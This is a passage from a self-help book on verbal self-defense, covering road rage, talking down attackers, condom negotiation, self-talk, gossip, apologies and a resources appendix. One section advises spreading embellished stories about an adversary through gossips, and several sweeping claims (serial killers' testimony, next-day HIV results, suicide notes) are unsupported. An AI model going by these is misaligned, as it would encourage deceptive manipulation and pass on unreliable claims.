will forget about the uncomfortable or touchy subject they are discussing. He is shifting the focus elsewhere.
Put a Lid on It!
As it says in the Bible, the power of life and death rests on the tongue. If you aren't conscious of what you are
saying, you can destroy your own life and the lives of others. We are all too familiar with the devastation that
occurs when someone gossips about us or betrays a hidden confidence. But what happens when we betray
ourselves? What happens when our own big mouths leave the mouths of others hanging open because they are
so shocked by what we have just revealed to them?
Page 296
Unfortunately, a decade or two ago, the “Me Generation” was taught that there was no holding back and that
we should let it all hang out. You could tell all—let the real you out at all costs—cry, scream, hit, regress,
breathe, or chant as you verbally expunged yourself from the pain of all your inner demons. This is great if
done in the privacy of your therapist's office, but not so great if it isn't. The fallout from it can be devastating.
Sure, you want to be open and honest, but some things are better left unsaid. We all have boundaries and some
should not be crossed. No man wants to hear that you slept with 100 men before him, especially when you're
lying there in the bed cuddled right next to him. No one has to know the details of your child's ill-fated
vomiting attack during church.
I Wouldn't Mouth Off If I Were You!
Even though I am a firm believer in letting your emotions out (when appropriate), there are times when you
just have to swallow your pride. Sometimes it is more appropriate to just shut up, swallow your words, breathe
in, blow it out, shut up, clench your teeth, shut up, bite your lower lip, shut up, bite your tongue, shut up, shut
up, shut up…. Why do I seem so adamant about trying to get this point cross to you? It is because I think that
you will have a much better time at home or with your friends, rather than in a jail with a bunch of other
inmates. It can happen to anyone, but don't let it happen to you. Never mouth off to a government official or to
a judge (if you do, you'll probably never see the light of day).
So what do you do instead of getting a brain hemorrhage? You do the Tension Blow-outs combined with the
Fantasy Technique and you'll be fine!
Your Speech Is a Loaded Gun
After reading this book, you know that words and tones can kill you emotionally. Saying the wrong words can
break someone's heart and upset her to the point that she becomes mentally, emotionally, and physically
incapacitated. Sometimes you know that your tone of voice can get someone all riled up or agitated or make
her miserable. Other times you can say something unknowingly or something just to vent your own anger,
which can cost you your life. In the next few sections I provide a number of scenarios on how violence was
most likely provoked because of someone's unconscious action, being unaware of how she communicated to
the other person. Since everything in life is based on stimulus and response interaction, if you are giving a
negative or hostile stimulus (even unknowingly) by the way you are talking to someone, in most cases the
response you get will not be very pleasant.
I'm sharing these examples with you to expand your awareness—to protect you, so that you don't end up
making the same mistakes that the people in these scenarios do. Their mistakes cost them a great deal,
including their lives! Perhaps by seeing what they did wrong, you won't do what they did, and that might just
save your life!
Page 297
Topics That, When Mentioned in Anger, Can Declare Verbal War
You can declare verbal war when, in anger, you mention another person's
• Mother or father
• Male or female companion
• Sister or brother
• Child
• Body part(s)
• Attitude
• Intelligence
• Honor
• Reputation
• Material things
Road Rage! Theater Rage! Outrage!
Take the everyday pressures people face, combine them with the time they spend in their cars, the increase in
the number of cars on the road, the lack of courtesy and manners in so many people, and the different levels of
driving skills, and what do you have? R-O-A-D R-A-G-E! Road rage is the buzzword of the year; all the
magazines and talk shows are talking about it. Newspapers and news broadcasts report on the increasing
number of road rage incidents.
Road rage is nothing new. It has been going on since the days of Henry Ford, when the automobile was first
invented. You've seen those old silent films where one car is trying to run the other one off the road in the big
“chase” scene. The only difference now is that people are more frustrated, madder, and meaner.
There is no question about it—with all of the pressures we go through in life in our complex society, there's a
lot more stress. When you've had a bad day at work the only thing you really want to do is get home and relax.
So, when someone gives
Page 298
you a hard time on the road (cutting you off or tailgating you) it is only natural to get angry. However, the other
driver might push you over the edge, to the point of road rage. In this case you might want to get out of the car,
verbally confront the other driver (who usually reciprocates with as much intense anger), and doing some
bodily harm (using fists or a weapon). If you follow your anger and not your head, the consequences could be
dire!
Although road rage typically occurs in big cities such as LA, where there are millions of drivers, it has been
reported everywhere, even in small rural towns.
So how should you handle an incident when it occurs? Let it go! Let it blow! Give 'Em Hell and Yell in your
car—alone. Do Visual Fantasy, and Tension Blowout. Be done with it. Concentrate on where you have to go
and on more important things in your life.
Shhhhhhhhhhhhh!
Just as road rage has recently plagued our society, so has “theater rage.” Although I don't know of any reported
deaths resulting from theater rage, that is not to say it cannot happen. Theater rage simply occurs when
someone talks during a movie or play. They may be loving the movie as much as you are, but they are sharing
their opinions, instead of waiting until the movie is over.
Unfortunately, in the age of television, VCRs, computers and CD Roms, many people don't go to movies very
often and are, therefore, used to being able to talk during a film. Oftentimes these people have to be reminded
that they are in a theater and are disturbing other people. People don't mind being told to keep it down, but they
do mind being reprimanded like a whining child or a barking dog and told loudly to be quiet. So what do you
do? Be real polite. Smile. Say “I'm sorry, but could you talk later? Thank you.” Smile. Say this in a soft and
pleasant tone. If you say it in a sarcastic or angry tone, you might as well have said SHHHHH. If they don't
oblige, move! If the theater is crowded, tell the usher! Let them handle it. That is what they are there for.
I Said No Talkin'!!
Gone are the days of Mrs. Smith saying “Johnny, stop it! I want you to stop talking and stop interrupting this
class. You have always been a nuisance and cause the class to waste so much time. If I have to tell you again, I
am going to send a letter home to your mother telling her how bad you are.”
Teacher violence is on the rise. Teachers are getting beaten and even killed by their students left and right!
Why? I wanted to know, so I asked a group of kids caught abusing their teachers. Ranging in age from 8 to 17,
these kids gave me some pretty consistent answers. “She didn't respect me.” “She dissed me in front of the
class.” “She picked on me all the time.” “She hated me.” I asked them what they would have wanted their
teachers to have done. Every single one of them answered “Respect me.” Although I was horribly against what
they did, I can see their point. Had the teacher called them out of the room, spoken to them, and not
embarrassed them in front of
Page 299
their friends, it would definitely have been a different story. So if you are a teacher or know any teachers,
please share this information with them. It came directly from the mouths of the “teacher abusers.”
Reason Before You Start Teasin'
Just as teacher violence is on the rise, so is school violence in general. The recent wave of school shootings,
with children killing other children, is both shocking and appalling. But deeper investigation into the
psychological profiles of these young killers indicates that they have something in common. They were all
teased and tormented by their peers. Toxic words were hurled at them on such a continuous basis that it ripped
their self-esteem to shreds. They lashed out!
Sometimes they lash in! With teenage suicides being at an all-time high, practically every suicide note contains
some references to being cut off from people and being teased by others. This is a worldwide phenomenon, as
such suicide notes have also been found among the belongings of teens in Japan and in Germany. All this
because of mean, nasty, horrible words that insensitive people unknowingly use in their attempt to feel cool or
superior to their unacceptable peers. The raw reality is that instead of using metal bullets they used verbal
bullets to kill the “insides” of their peers. In their tortured and hopeless minds, all the kids had left to do was to
finish the job, physically, and destroy themselves on the outside.
Tones Can Kill
Throughout this book I stress the importance of how you should say things. Your tone of voice can be a killer.
If you talk to someone in a rough-edged, harsh-sounding, loud voice that gives the impression that you are
angry, watch out! You might not even be angry, but the fact that you sound that way makes others feel like you
are, and so you are in for their bad attitude. If you aren't aware that you sound the way you do, you are
probably wondering why they are having a bad attitude. In defense you will probably return their bad attitude
until a full-blown fight ensues.
Page 300
This happens often with customer service representatives after a long day at work. They are in bad moods and
have an attitude reflected in their tone of voice. You react in a hostile manner, they react to your hostility, and
the cycle begins. So the next time you hear someone with a bad attitude, don't take it personally! Try to lighten
them up through a kind tone, a kind word, and a smile. Always be aware of your tone when you talk to anyone,
especially people you don't know who are in a position to be of service to you, so that you won't come across
with “attitude.”
You're Ok, I'm Ok. Ok, You're Ok.
Millions of people suffer from mental disorders and they don't even know it. They just think that's the way they
are! You yourself might have a mental disorder that you are not even aware of. Sure, you get hyper, but at least
you get a lot done. And then there are those days when you feel so low that you just can't get out of bed. More
and more research shows that it is your biochemistry which causes you to suffer those mood swings.
Those that are diagnosed with mental disorders are the lucky ones. They can be treated with medication and
live essentially normal lives. But some are so out of control that they can't afford or don't take their medication.
Some of them are dangerous. Some have even attacked or killed people. The message here is “tread lightly.”
Speak to them in calm, non-jarring, polite tones.
Non-Words Can Kill
In some cultures, it is not nice to look a person in the eye and speak or initiate a greeting, especially for a
woman. Touching a person is a no-no. Speech is abrupt, limited to business only, serious-faced and businesslike,
and perceived as not being very friendly. In other cultures, this behavior is unacceptable and perceived as
insulting, condescending, and disrespectful. When these two cultures get together, the possible negative
consequences of what can happen are inevitable. In fact, that has happened throughout the U.S. A number of
murders have occurred in situations where people were simply ignorant of the social dynamics of a particular
culture (such as handshaking, touching, warm greetings for males and females, smiles, openness, lots of
friendliness, and social interaction). Since the universal language is warmth, smiles, and attempted
verbalization, doing these three things with anyone, no matter where you are from, can save your life!
Page 301
Your Mouth Can Save Your Life
Just as your mouth can kill you, it can also keep you alive. If you know what to say in the right circumstances,
often circumstances that are beyond your control or are life-threatening, you can save your life. In the rest of
this chapter, I show you how. I give you some life-saving speaking and vocal techniques. I also present you
with some rather unpleasant scenarios in which you can use these techniques to thwart your perpetrator. Read
this section several times. I want the information to stick in your brain. Just in case anything like this should
ever happen to you (heaven forbid), you will be more likely than anyone else to survive! Above all else,
remember that you still must use your good judgment and trust your instincts. This is merely an aid to help you
in addition to doing that.
Verbal Kicks, Vocal Chops, Tonal Blocks
A verbal kick occurs when you push down on your abdominal muscles as though you are going to have a
bowel movement and open your mouth and as loudly you can, drawing out each vowel clearly, and say “GET
OUT OF HERE RIGHT NOW! I MEAN IT!” or “WHAT DO YOU WANT?” A verbal kick gives your voice
the quality and resonance it needs to show someone you are not a weak person. You are a formidable opponent.
You are not a victim and you mean business! Often it is all you need to get your perpetrator to leave.
Vocal chops occur when you speak in a staccato, marching-like abrupt tone. This is extremely effective in
getting your point across, as it is like a series of verbal exclamation points or pellets being hurled at someone!
Tonal blocks come in handy when you just have to be quiet. You might want to scream your head off, but you
know instinctively that it will get you killed. To control yourself, take a sip of air in through your mouth and
hold it. Keep holding it for as long as you possibly can and let it out. Then do it again. This will at least
stabilize you and keep you in control and level-headed as much as you can be under the circumstances.
Be Nice!
This may sound weird to you, but be nice to your perpetrator. Doing so can often save your life. Speaking in
soft tones and being friendly, even when the situation is the opposite of friendly, has saved many lives. When
serial killers and murders were asked why they spared the lives of certain victims when they had the
opportunity to kill them, they all said “they were nice to me.” So, before you make the decision to do
Page 302
what you have to do, first be nice. Speak softly and kindly. It just may be the deciding factor as to whether the
sicko spares your life!
To Catch a Thief!
Robbers case the joint to check out the premises they are robbing. In the same way, people are checking you
out. Studies show that if you walk like a victim you'll be victimized. The same goes for talking. If you sound
like a victim, you are more likely to be victimized. But now that you have all of the verbal self-defense
strategies in this book, you don't have to be.
That's why a potential robber might ask something like “What time is it?” Engage them in conversation and
look directly in their face, preferably in their eyes. Here is where you do look in their eyes as a sign of power. It
signals “I will not be intimidated!” Then say, “You know, I'd tell you the time, but my watch never works. I
need to get it fixed, but I have to get some money first because I lost my job and it's hard for me to work now
because I've got a bad back and my sister's in jail and now I have to take care of her kids….” Believe me, he'll
think you're a nutcase and try to find someone else to rob.
If he comes after you anyway and there are people around, give him a verbal kick, then Give 'Em Hell and
Yell. Usually that will work and someone will come to your rescue.
If you caught him red-handed and you are sure he's not carrying any weapons, confront him, then Give 'Em
Hell and Yell and a good verbal kick. Grab the goods. If he resists, do the obvious—run and call the police.
Rape.
A client of mine shared this incident, which saved her from being raped. In essence, she turned the tables on
her perpetrator. He had a knife to her throat as he told her to undress. In a soft, calm tone she said “don't worry,
I won't hurt you.” The rapist was so taken aback by what she said that he lost his footing. She ran and saved her
life. This proves again that your life does rest on “the power of your tongue,” as the Bible so eloquently puts it.
Once again, please take all the necessary safety precautions. Be alert. Use good judgment. When you see
someone approaching you, if there are people around, confront them loudly or even sing. If they think you're a
nutcase they usually won't bother with you.
Page 303
Date Rape
A rape is no less a rape just because you know the person who raped you. In fact, it is more of a rape, because
they know you, and you are not an impersonalized object, which a rapist can turn you into—you are a
personalized human being to the date rapist, so they have even less regard for you than does the generic rapist.
This subject is so touchy because there are many semantics involved, as well as circumstances and possible
miscommunication. The bottom line is that date rape may happen despite these efforts, but if you would never
consider sleeping with the person, or if you would consider it but not until you were more committed, don't
even put yourself in a compromising situation. Don't be alone with the person—not even in a car. If you are in
a car alone with them, make sure you know the route you're taking and that you won't be stopping for anything.
Also make sure that you have enough money to get home.
Sex Talk—Before It Gets Too Hot to Handle!
Even though everyone is preaching “safe sex,” it is the last thing you want to talk about “in the moment.”
When things are getting hot and heavy and you've finally decided to take that final step with your partner, the
last thing you are thinking about is an AIDS test! One of the hardest things to do is to bring up the topic of safe
sex.
In the heat of passion, especially when skin touches skin, you might feel so overwhelmed by desire that you
find it almost impossible to break out of the moment and say anything. But let's face it, not talking about it and
not doing something about it can kill you! So, here's what you say: “I feel so uncomfortable bringing this up,
but in this climate of AIDS and all, we have to talk about it. I'm sure you don't have it, but I think we both
should get tests so both of us will feel uninhibited.” Then do it. You'll get the results the next day! After all,
you've waited this long!
Page 304
Wear a What?
We aren't embarrassed when it comes to getting stark naked in front of another person, but we are terribly
embarrassed when we have to talk about using condoms! Obviously it helps prevent the spread of HIV, but you
really have to be just as concerned about other sexually transmitted diseases that, if left untreated, can also ruin
someone's life. So unless you have a 100 percent thorough clean bill of health, have had every test and every
orifice checked and re-checked, are married, committed to one person, and not cheating (and I really mean it—
no flings, no oral sex, not even a pat or a touch), then and only then can you abstain from wearing a condom.
Otherwise you are playing with your life and someone else's. In the “Talk Back!” section, I will give you the
excuses men use as to why they don't want to wear a condom and what his partner should say in return. The
bottom line is that there should be no excuses!
Talk Back: Excuses for a Man Not Wearing a Condom
(Man) I never wear one.
(Partner) It's time to start now.
(M) I don't like the feel of it.
(P) The new ones are super thin; the sensation's exactly the same.
(M) It feels like you're taking a shower with a raincoat on.
(P) At least you'll have a super thin raincoat and you'll be able to feel the
sensation.
(M) I don't have AIDS.
(P) I'm sure you don't. But there are other things you might not know you have
that your last relationship passed on to you.
(M) That's insulting.
(P) The last thing I would ever want to do is insult you. I care about you and I
am protecting the both of us.
(M) I can't believe you think I sleep around.
(P) I don't, but you've been with others in the past.
(M) I can't fit into one.
(P) You're in luck! Now they come in large and extra large.
(M) Let's not. (referring to wearing a condom)
(P) Okay, Let's not! (referring to making love)
(M) We'll be fine.
(P) That's right, because we're gonna have protected sex.
Page 305
Page 307
Chapter 24
Verbally Defending You Against You!
You have learned what it takes to verbally defend yourself against all different types of verbal enemies. You
now know what to say, how to say it, and who to say it to. You have the confidence to pull out any tactic
you've now mastered. You are able to choose automatically the technique that is most appropriate to verbally
slay your opponent. You know how to keep on going. You know how to slide from one technique into another,
until one of them finally clicks and you come out the victor in verbal battle.
Now that you are an expert at verbally defending yourself against others, the time has come to learn to defend
yourself against, perhaps, your most powerful and formidable opponent—YOU!
All too often in the art of verbal warfare, we are not our best ally. In fact, we can be our own worst enemy!
Unfortunately, we know this all to well. Even though life is a series of losses and wins, when we win some of
the battles, we are in such shock—we can't believe that we have won—that we sabotage ourselves and end up
losing a battle we fought hard to win. We don't do it purposely. We do it unknowingly, out of ignorance. We do
it usually because of some deep-rooted psychological issue concerning entitlement. We might not feel as
though we are entitled or deserving of winning the battles in our lives, and so we find it impossible to relax and
be peaceful!
Page 308
What Did You Say? That's What They Think!
The best verbal self-defense you can use against your most formidable verbal ally is when you say nice things
about you to you. When you speak highly about yourself, others will follow suit.
As I said earlier in this book, when I was in college, we girls who lived in the dormitory and dated the college
boys had a rule: “If a boy tells you that he is a jerk, believe him—he definitely is one.” The same holds true
with you. If you say you are a jerk, perhaps you are keeping a secret that others don't know. Maybe you are a
jerk!
Maybe you might have a nice, pleasant, friendly exterior, but deep down inside you might be an awful,
manipulating, seductive slime. Therefore, if you say you really aren't a very nice person, you probably aren't.
After all, who knows better about you than you?
On the other hand, there are a lot of really nice people out there who, in an attempt to appear humble and not
“big-headed,” sabotage themselves by putting themselves down. Unfortunately, if you say “I'm such an idiot!”
or “That's just my luck!” enough times, you might just be brainwashing yourself and creating a self-fulfilling
prophecy. People will believe you are unlucky or an idiot and will stay away from you and expect the worst
from you.
If you think you are fat and keep harping on it, or you have a big nose, are bald, or have fat thighs and
constantly complain about it, you are conditioning others to focus on the features you find negative about
yourself. Even if these things really are true about you, if you accept these things and even like these things
about you, so will others.
Verbalize! No Complaints! Fix What You Hate!
Stop brainwashing yourself and others with these negative images. One of the best ways to stop saying things
like “I hate my nose,” “My teeth are crooked,” “I'm so fat”, “I hate my hair,” and “I'm so short” is to get it all
out verbally. But do this with those who can do something about it—you, your loved ones, and a professional
who can fix it. By the way, with the advances in medicine today, things that were not changeable in the past—
such as repairing certain facial deformities and the ability to walk, talk, and hear—are routinely fixed today.
There are even ways to increase one's height—
Page 309
something never considered as little as a half a decade ago! The bottom line is, “there is no excuse!” If there's
something that really bothers you—figure out how to do something about it.
Look in the mirror. Really talk to yourself. Look at the thing about you that is the cause of your pain. Talk
about it out loud when nobody is there. It's your personal business, between you and you. Talk about how much
pain and grief this problem caused you, why you don't like it, what your life would be like if you didn't have it,
and how doing something about it will change your life.
Now go to someone you are super close to and share it with them. Have a two-way conversation. Tell them
what you told yourself. You might cry. You might even get talked out of having something done about it, but
don't! Stick to your guns. Have them come with you only if they support you in your endeavor as you see the
professional who can help you.
Verbalize everything you told yourself (and your loved one) to the professional and expect the best from him or
her. If they don't pay as much attention to what is going on inside of you on an emotional level as to what is
going on outside of you, do not have them work on you. There are too many other qualified professionals these
days who can do both. They have to care about you and hear you as well as have the skill to help you.
Never Let the “Cat Get Your Tongue”
Now that you have fixed your outsides, you still have to fix your insides. You can do this through a verbal
strategy I will teach you about in this section.
When you are overly quiet or shy or can't bring yourself to meet people or to see others, it is due to four
reasons:
• You feel that you are inferior or less than other people.
• You couldn't imagine why anyone would want to be friends with you.
• You feel that the person might try to control you.
• You fear that the person might belittle or reject you. So, in order to play it safe, it is easier for you not to play
at all, to sit on the verbal sidelines.
Well, guess what? You don't have to do that anymore. You have something to break you out of this syndrome
forever, and it consists of three little words that you will repeat over and over and over and over and over in
your head, even when you are being fed, even when you are in bed—all the time! These three simple words are
“I AM ENTITLED!” Say it out loud, particularly when you feel these feelings of insecurity coming on strong.
Then keep repeating it over and over to yourself silently.

Page 310
You might think this sounds weird and think “how can saying one simple sentence make me feel less
insecure?” That's what my clients asked me, but they were amazed when it actually worked. It does work! It
starts to make you conscious of the fact that you are just as important as the next person—that they are no
better than you are. The following methods are little tactics designed to remind you to not say bad things about
YOU! Every time you say a bad thing like “I'm stupid” or “It's just my luck” or put yourself down, do one of
these conditioning tactics so that you learn not to say it or feel that way again. As you do one or more of the
things listed here, watch the negative statements you say about yourself become less and less frequent.
Quashing Your Negative Words About You
Do one or more of these 10 things after you say something negative about yourself. After a while you'll stop
cutting yourself down.
1. Snap your fingers.
2. Blow air out of your mouth hard.
3. Bite your lower lip.
4. Bite your tongue.
5. Clench your jaw.
6. Slap your wrist.
7. Click your back teeth together.
8. Open the back of your throat like you're yawning, then yawn.
9. Clasp your fingers together.
10. Blow air in your cheeks.
Observe What You Say to Potential Verbal Spies!
People remember! They don't forget! They do talk! They talk and they talk and they talk! They talk about
themselves! They talk about others! They talk about YOU!
This means that if you tell them some good juicy tidbits about you, if you pour out your heart and soul to them,
you can be sure that every drop, every word that you express, will be circulated among everyone you know and
maybe even with those you don't know.
Loose Lips Sink Ships!
Sometimes you might think you are talking to a friend when in reality you are talking to a huge enemy—
someone who really doesn't like you, is jealous of you, or who really
Page 311
wants to do you in. With the right verbal ammunition, they will destroy your reputation with their attempts to
thwart your purposes.
Common sense tells you that you would never dream of giving your adversary any ammunition to use against
you. But the reality of the situation is that you have already given it to them—straight from your mouth. This
verbal bomb can explode in your face and kill you because it is so powerful. It comes completely unexpectedly
from the “verbal enemy” you would least expect. The moral of the story is, “Never tell your best friend
anything you wouldn't want your worst enemy to know!”
Losing the Verbal War by Trashing Your Family!
Whether you like it or not, your family is just that—your family. You might hate everyone in it. You might not
have spoken to them for 15 years. However, no matter what your relationship is with them, when you trash
your family, especially to strangers and acquaintances, but even to people you know well, you trash yourself.
Almost everyone has family issues, and there are many different sides to these issues. When you start telling
other people about your family issues, you are opening up your family, and yourself, to emotional pain. Most
people aren't equipped to hear about other families' deepest and darkest secrets. If you open up to them they
might, in their shock, tell two people who tell two more people, and so on and so on, and before you know it,
people now understand why you act the way you do or feel sorry for you because of your background. You are
suddenly “labeled”! The moral of the story is, tell only a professional about family tragedies. It won't go
anywhere—for certain. Tell only a close, close friend or relative, and only after checking in with them to make
sure they can handle such news.
Remember that you are taking a risk telling anyone but a professional, another family member who shares your
plight, an intimate friend, spouse, or lover whom you trust with your heart and soul. Otherwise you put your
reputation in jeopardy.
Page 312
Winning by Letting It Leak!
Sometimes, you might not want a confidence kept. You might want this information out in the open for some
reason. You consciously make this happen, knowing that not everyone can keep a confidence! However, this
might not be all bad, as part of your own line of verbal defense strategies. In fact, politicians do it all the time.
That's how we, the public, get information that is supposedly “leaked” to us from some unknown source. The
information either enhances or embarrasses one side or the other. Sometimes this information is accurate; other
times, it's a blatant lie. Sometimes the information predicts an event and prepares us for a pending disaster,
other times it is just meant to scare us.
Whatever the case, it was calculated! It was an attempt to convey information by betraying a confidence.
How can you apply this verbal strategy to your own life? Let's say you want something to get out about you or
your verbal enemy. It could be true information you want people to know about yourself or information that is
a bit embellished. Your best bet is to tell the verbal big mouth and watch it spread like wildfire. You can
exaggerate (kid around) or tell a tale. Once the Verbal Leaker hears the story, she is out of your control. (Right!
And who told them to tell the world anyway?) In essence, they can become your best verbal weapon and PR
agent.
Losing the Verbal Battle by Recycling the Word
Remember that game you played in grade school, where one person would whisper something and then the
next person was to repeat it to the next person, and so on and so forth down the line? By the time the 30th
person repeated what the first person initially said, the story ended up being totally different and
unrecognizable. This same thing happens in real life!
Things get distorted and embellished, but they don't have to go through 30 grade school children to get there.
They can get distorted just by being filtered down through a few people who add their own spin or who bring
their baggage or viewpoint to the story.
Let's say you go out on a date with John. You had an awful time. All he wanted to do was make out with you,
and you just weren't attracted to him. You had no chemistry and he wasn't your type. You tell this to your coworker.
She now tells her friend that your date was awful because you wouldn't have sex with him on the first date. Her
friend tells another friend that your date is a sex maniac and won't date girls unless he has sex with them on the
first date. Wow! Now the poor guy has a reputation he doesn't deserve, just because he kisses like a frog.

Page 313
It's one of the casualties of opening your mouth and talking. It could have worked the other way too. You could
have said you had a great time—that he was a great kisser. Your co-worker could have then told her friends
that your date was a great lover. Word spread around that your date is so hot in bed and now every woman is
dying to sleep with him.
So sometimes there is nothing you can do but be neutral and say “it was fine” or “okay,” especially if you
know someone is a “walkie-talkie” or Verbal Leaker.
Verbal Defeat Through Verbal Ecstasy—Why Tellin' All Feels Soooo Good!
Even if we know better, why do we still talk so much and gossip about ourselves, especially about our sexual
selves? One reason is because it feels soooooooooooo darn good.
It feels good to the talker. It's a release they desperately need. If they don't tell and talk about it, they crumble—
literally. They suffer psychological, emotional, mental, and physical trauma. There is enough research in the
medical literature to back up what I just said a thousand times over.
That is why therapists and clergy are so vital: people need to unload their problems to people who know what
they are talking about in a professional sense. After they are done, it feels good. It feels even better if they are
guided in the right direction and given the right advice.
Now let's take it a step further. Another reason we like to tell all, especially to our friends or to anyone who
will listen for that matter, is because it feels good. As we talk about the experience and recall the minute details
of the event (especially if it was a highly erotic event!), it is as though we are reliving the event and stimulating
those same pleasure channels that felt soooo good.
Since, as far as the emotions are concerned, the brain can't distinguish between what's actually happening and
what is being visualized, it is like you are there all over again! You take the listener along on this verbal magic
carpet ride, and they too can visualize and empathize with you as though they were there. It's as though they
were the protagonist in your detailed, erotic story.
When the story is over, the talker and the listener have both had a “verbal orgasm.” Telling the tale over and
over to as many people as will listen provides the teller with multiple verbal orgasms.
Page 314
Besides sex, people talk and talk in intimate details about negative experiences in their lives to purge
themselves as well as to get someone else's reassurance. They tell the story from their side so that the listener
will rally against their adversary and they will be “right.” They feel better, you feel better, and you are
entertained at the same time. Whatever the topic, there is a strong need for them to tell someone, and they
chose you. So in some way that's flattering, but if you don't want to hear it, don't. Set limits. Say “I appreciate
your feeling comfortable enough to tell me this, but I'm not comfortable listening to it.” Smile. There is nothing
to be mad at.
Don't Blame! Extinguish the Flame!
You need to stop restimulating your negative past! Of course, it might be interesting to hear about the hundreds
of abusive lovers you've had, and how you were so poor when you were growing up that you had to eat dirt
sandwiches and worms and live out of a cardboard box. But sometimes I wish I had a channel clicker so that if
I heard one more disgruntled husband or wife complaining about their spouse, I could click them to a happy
channel. Instead they could tell me how they got on with their lives and how their “dirty-doing mate” allowed
them to move on find a better life, the right mate, and live in bliss.
Unfortunately, such a channel clicker hasn't been invented yet, but you can change your own channel. Stop it
already! Move on! Eight years is enough! When you blame, you keep igniting the flame. You keep it going
forever and ever. The less you talk about the tragedies and the people who “did you wrong,” the more chance
you will have to keep your eyes open to focus on those people who will be “doing you right.”
Making Amends Verbally
The best part of Alcoholics Anonymous, Overeaters Anonymous, Narcotics Anonymous, Gamblers
Anonymous, and other 12-step programs is that you get to make amends to people whose lives you were
responsible for devastating! You get to say that you are truly sorry for the horrific and unconscionable deeds
you inflicted upon them while you were under the influence of your particular demon. That is one of the
beauties of the program.
Asking for forgiveness is one of the most wonderful and precious things you can do. It takes a big person to be
able to do that. It takes a big person with a lot of courage and inner strength to approach another person and ask
for forgiveness. But you have to do it if you are to be verbally effective. Honesty, sincerity, and coming clean
are the basis of verbal self-defense. If you have those things, you have almost everything.
Page 315
What do you say in order to say you are sorry?
Don't just think you can give a cursory “I'm sorry” and that's that! No way! You have to look directly at the
person and tell them exactly why you are sorry. You have to tell them that you are sorry for what you did and
how you think it made them feel. You have to listen to them wholeheartedly as they pour their heart out and tell
you what your insensitive and horrible actions did to them, what scars your actions left, and what subsequent
repercussions they had. You need to empathize with them.
Don't explain yourself and get defensive yet. Just sit there and listen!
Cry with them; empathize with them. Try with all your heart to feel what they must have gone through. Reach
out to them physically. Try to touch them. Touch their hand. Ask them if they will allow you to hold them and
caress them. If they won't, understand. Wounds take time to heal. They might forgive you now, sometime in
the future, or never. Whatever the case, you verbally defended yourself so that you no longer have to wrestle
with these verbal demons. You can finally put it to rest. You did the right thing from a verbal perspective!
No More Verbal Hypocrisy—a Clean Battlefield
If you don't want to do something or you don't want to be somewhere, then don't do it or don't go there. If you
do, you will inevitably say the wrong thing to the wrong person, and this will always get you in trouble. People
aren't dumb! They know when you are lying to them, want something from them, and are being manipulative.
Some people will even play along with your lie because it is challenging or fun to watch you trying to talk your
way into something, such as into bed or into a business opportunity. You might think you are sweet-talking
someone and getting ahead, but your empty words mean nothing, even if you succeed in getting the specific
thing you want. You are ahead for only five minutes and then you are behind forever. You've gotta tell truths.
Page 316
You never again have to be the verbal victim who is forced to say obligatory trite things! You no longer have
to be a verbal hypocrite! Now you can sleep a lot better at night. Your conscience is clear as you have cleaned
up your verbal battlefield once and for all!
Winning the War Through Verbal Gifts!
In order to win the verbal war, you have to use the most powerful verbal weapon, and that is the weapon of
love and kind words given to yourself, your allies, and your adversaries.
Here is a list of verbal gifts:
• Words of endearment—“Honey,” “love,” “babe,” “darlin',” “my love,” “baby,” and “sweetie”—go a long,
long way and make people feel great.
• Lovely tones. Be upbeat and happy as though you are thrilled to see them. Have a tonal bounce, a song that
says “I am so thrilled you are in my life, and I absolutely adore you!”
• Never take your verbal anger or attitude about someone else out on them. Never curse or damn the person, no
matter how angry you get at them. Work it out! But work it out in a kind, loving, civil, and compassionate
manner. No screaming and yelling!
• Apologize immediately and be the first to apologize when you've messed something up—especially if it's a
little mess-up. Say it and mean it! Do it several times if necessary and use physical affection to reinforce it.
• Say loving things to others unexpectedly.
• Never say petty things to people and talk about the small stuff. Always stick to the big picture.
• Tell people specific things about why you like, love, or respect them. Describe specific character traits,
physical traits, behaviors, and incidents in great detail, and I mean in minute and minuscule detail. Everyone
loves to hear that.
• Always encourage people in their endeavors. Explain exactly why you believe in them. Give your views
about why you know they will make it and how you will never give up on them.
Page 317
Page 319
APPENDIX A
RESOURCES
Because I hold a Ph.D. in counseling psychology and a second Ph.D. in the field of communication disorders, I
have seen firsthand the positive impact that professionals in both of these fields have had upon people's lives.
The art of verbal self-defense requires that you feel good enough about yourself to deal with your emotional
pain from your past, so that you have the confidence to handle any problem that presents itself. Using all the
strategies I have taught you in this book will allow you to zip through any verbally toxic encounter. Thus, a
qualified and competent counselor, psychologist, or psychiatrist is a plus to enhance your live. They don't have
to be seen forever or cost you an arm and a leg. Often a good therapist will see you for short-term therapy just
to help you with specific issues.
In addition to having the security of knowing the formula of what to say, it is equally important to know just
how to say it. Sometimes you may not project the message as effectively as you could because of the way you
sound or speak. Until you read this book, you may not have even realized that help was available to enable you
to improve the quality of the way you sound. The added benefit to improving your speech is that you will also
be improving your image and the way people perceive you. Therefore, I recommend a qualified speech
pathologist who specializes in voice therapy with adults.
I recommend that you continue to read this book over and over again. Keep it! Save it as a reference book in
your library. You will find yourself using it frequently, perhaps daily at first, then weekly or monthly until the
techniques, strategies, and retorts become second nature.
You may need additional help as well. In addition to receiving additional material, which you can order directly
from Appendix A, or engaging in a telephone session, you may need more extensive personalized treatment
and counseling.
The following lists include sources of additional information and help.
References for Speech Pathologists.
1. I do not recommend that you go to a singing teacher, but only to a speech pathologist who is licensed by
your state, and who holds a Certificate of Clinical Competence from the American Speech Language and
Hearing Association. This way you can be assured that you will be receiving treatment from a well-trained
professional who knows exactly what they are doing and who will not harm your voice.
Page 320
2. To find such a person, ask your friends who may know of one, or friends of friends who were helped by the
person.
3. Check with several physicians (ear, nose, and throat physicians, general practitioners, and any type of dentist
or orthodontist), so that you get a variety of names from which to choose.
4. Call each person and ask the specific questions listed in Chapter 17.
5. Contact the American Speech Language and Hearing Association at
10801 Rockville Pike
Rockville, MD 20852
(301) 897-5700
Fax (301) 571-0457
They may be able to provide the name and phone number of the speech and hearing association in your
state, which can possibly provide a list of names of speech therapists in your area who specialize in the
treatment of voice disorders.
References for Psychological Services
1. You may want to begin your hunt for a good psychotherapist by asking friends to refer one they or their
friends have used.
2. Another option is to consult your clergy. Often they are excellent counselors. For many, sharing similar
religious views can provide a great source of comfort, since they can address your particular issues and needs,
perhaps in some cases even more effectively than a psychotherapist.
3. Ask several physicians and educators for any therapist they can recommend.
4. Just as one needs a speech pathologist who specializes in voice problems, you need a psychotherapist who is
best equipped to help you with your specific needs. If you have a marital problem, a family problem, a drug or
